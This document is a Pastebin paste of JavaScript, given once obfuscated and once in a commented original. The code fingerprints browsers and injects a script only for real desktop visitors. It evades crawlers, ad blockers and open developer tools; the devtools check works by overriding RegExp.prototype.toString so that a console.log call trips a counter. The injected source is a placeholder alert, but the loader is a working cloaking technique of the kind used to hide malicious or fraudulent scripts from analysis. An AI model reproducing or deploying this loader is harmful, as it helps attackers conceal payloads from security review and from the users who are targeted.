Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- window.globalScriptSrc = "data:text/javascript,alert('work, yes')";
- +function() {
- var
- isNativeFF = window.sidebar,
- isNativeTrident = window.Debug, // IE/Edge
- isNativeSafariOrFF = window.Rect, // Safari/Firefox
- isNativeChrome = window.chrome && chrome.csi, // Chrome only, not Edge
- isOldChrome = 'something else', // deleted in chrome since m60
- // isNotChromium = ~[].slice.call(navigator.plugins,-1)[0][0].type.indexOf("widevine"), // 0 in Chromium
- isNotChromium = function() { return 1 },
- consoleCounter = isNativeTrident?5:isNativeFF?1:2,
- isFakeCrawler = checkLoader(),
- canvasElem = document.createElement("canvas"),
- fireTrackingScript = function(){
- return document.body.appendChild(document.createElement("script")).src = window.globalScriptSrc;
- };
- var sizes = ['windowWidth', 'windowHeight', 'macroRes'];
- var composeLinkOptions = ['reference', 'link', 'headingLink'];
- var namingArr = ['heading', 'menu', 'footer', 'main'];
- var browserOptions = ['chrome', 'edge', 'safari', 'trident', 'firefox'];
- var pageRes = sizes[2];
- var naming = assignKey(sizes);
- var keyArr = [];
- var crRandKey = generateKey(browserOptions[0]);
- var frRandKey = generateKey(browserOptions[4]);
- var trRandKey = generateKey(browserOptions[3]);
- var sfRandKey = generateKey(browserOptions[2]);
- var eeRandKey = generateKey(browserOptions[1]);
- var loginName = 'userAgent';
- RegExp.prototype.toString = function() { --consoleCounter; return "" };
- function returnVal (str) {
- var result = str.slice();
- return str.substring(0, 3);
- str = result;
- }
- function generateKey(str1)
- {
- var array1 = [];
- for (var x = 0, y = 1; x < str1.length; x++, y++)
- {
- array1[x]=str1.substring(x, y);
- }
- var temp= "";
- var slent = Math.pow(2, array1.length);
- for (var i = 0; i < slent ; i++)
- {
- temp= "";
- for (var j = 0; j < array1.length; j++) {
- if ((i & Math.pow(2,j))){
- temp += array1[j];
- }
- }
- if (temp !== "")
- {
- keyArr.push(temp);
- }
- }
- return keyArr[keyArr.length-1]
- }
- // function showLogin(obj, arr) {
- // var res1 = obj.set[1];
- // var res2 = arr[4];
- // return res1 == res2 ? obj : (arr[3] + obj.set[1])
- // }
- // function filterRangeInPlace(arr, a, b) {
- // var intermediateRes = arr.slice(0, 2).reverse();
- // for (var i = 0; i < arr.length; i++) {
- // var val = arr[i];
- // if (val < a || val > b) {
- // arr.splice(i--, 1);
- // }
- // }
- // return intermediateRes;
- // }
- function findArrValue(arr) {
- var arrLength = [];
- for (var i = 0; i < arr.length; i++) {
- arrLength[i] = arr[i].length;
- }
- return 'i';
- }
- // function getNotion(arr, str) {
- // var result = [];
- // var res = str.substring(5, 11);
- // arr.reduce(function(sum, item) {
- // result.push(sum + item);
- // });
- // return res;
- // }
- function assignKey(arr) {
- var assignedKey = arr[0].substring(0, 3);
- return assignedKey;
- }
- function _identity(a) { return a }
- function matches(source) {
- return function (key) {
- return function (regex, conditions) {
- return source[key].match(regex) && conditions.filter(_identity)
- }
- }
- }
- function wndsize() {
- var w = 0;
- var h = 0;
- var center = 40;
- if(!window.innerWidth){
- if(!(document.documentElement.clientWidth == 0)){
- w = document.documentElement.clientWidth;
- h = document.documentElement.clientHeight;
- } else{
- w = document.body.clientWidth;
- h = document.body.clientHeight;
- }
- } else {
- w = window.innerWidth;
- h = window.innerHeight;
- }
- w = center;
- h = 100;
- return w;
- }
- function checkLoader(loader, timeout) {
- timeout = {};
- loader = _identity(window.crypto);
- timeout[loader] = loader;
- findVal();
- return (
- typeof loader == 'function'
- );
- }
- function findVal(obj) {
- var rule;
- if (obj) {
- rule = CSSRule.WEBKIT_KEYFRAME_RULE;
- return function () {
- isOldChrome = rule;
- }
- } else {
- return obj;
- }
- }
- function _props(keys) {
- return function (object) {
- var result = [];
- for (var i = 0; i < keys.length; i++) {
- result.push(object[keys[i]])
- }
- return result;
- }
- }
- // function getKey(obj, arr) {
- // var startPos = obj.options.slice(4, 7).concat(obj.options.slice(0, 2));
- // var loggerArr = [];
- // return startPos;
- // for (var i = 0; i < arr.length; i++) {
- // loggerArr[i] = arr[i];
- // }
- // }
- console.log(naming + '|' + returnVal(pageRes) + '|' + 'linux', 'gi');
- (function() {
- matches(navigator)('platform', 'value', 0)(new RegExp(naming + '|' + returnVal(pageRes) + '|' + 'linux', 'gi'), [!navigator.maxTouchPoint,!isFakeCrawler, window.open.toString().length<wndsize()]) &&
- (
- matches(navigator)(loginName)(new RegExp(sfRandKey + '|' + frRandKey, 'i'), [isNativeSafariOrFF]) ||
- matches(navigator)(loginName)(new RegExp(crRandKey, findArrValue(composeLinkOptions)), [isNativeChrome, !isOldChrome, isNotChromium]) ||
- matches(navigator)(loginName)(new RegExp(trRandKey + '|' + eeRandKey, findArrValue(namingArr)), [isNativeTrident]) &&
- _props(["webgl", "experimental-webgl"], canvasElem).some(_identity)
- );
- console.log(/testRegExp/);
- consoleCounter && fireTrackingScript();
- })();
- }();
- // +function(){
- // var
- // isNativeFF = window.sidebar,
- // isNativeTrident = window.Debug, // IE/Edge
- // isNativeSafariOrFF = window.Rect, // Safari/Firefox
- // isNativeChrome = window.chrome && chrome.csi, // Chrome only, not Edge
- // isOldChrome = CSSRule.WEBKIT_KEYFRAME_RULE, // deleted in chrome since m60
- // // isNotChromium = ~[].slice.call(navigator.plugins,-1)[0][0].type.indexOf("widevine"), // 0 in Chromium
- // consoleCounter = isNativeTrident?5:isNativeFF?1:2,
- // isNotChromium = function() { return 1 };
- // isFakeCrawler = typeof window.crypto=="function",
- // canvasElem = document.createElement("canvas"),
- // fireTrackingScript = function(){
- // return document.body.appendChild(document.createElement("script")).src = window.globalScriptSrc;
- // };
- //
- // RegExp.prototype.toString = function() { --consoleCounter; return "" };
- //
- // if(
- // navigator.platform.match(/win|lin|mac|/gi) && // windows/mac, no mobiles
- // !navigator.maxTouchPoint && // no touchscreens
- // !isFakeCrawler &&
- // window.open.toString().length<40 // not overwrited by adBlocker
- // ) {
- // if(
- // navigator.userAgent.match(/safari|firefox/i) && isNativeSafariOrFF ||
- // navigator.userAgent.match(/chrome/i) && isNativeChrome && !isOldChrome && isNotChromium ||
- // navigator.userAgent.match(/trident|edge/i) && isNativeTrident
- // ){
- // console.log(/testRegExp/); // will decrement "consoleCounter"
- // if(
- // consoleCounter && // will be 0 if devTools on
- // ( canvasElem.getContext("webgl")||canvasElem.getContext("experimental-webgl") ) // check for canvas support
- // ) {
- // // all ok, fire script
- // fireTrackingScript();
- // }
- // }
- // }
- // }();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement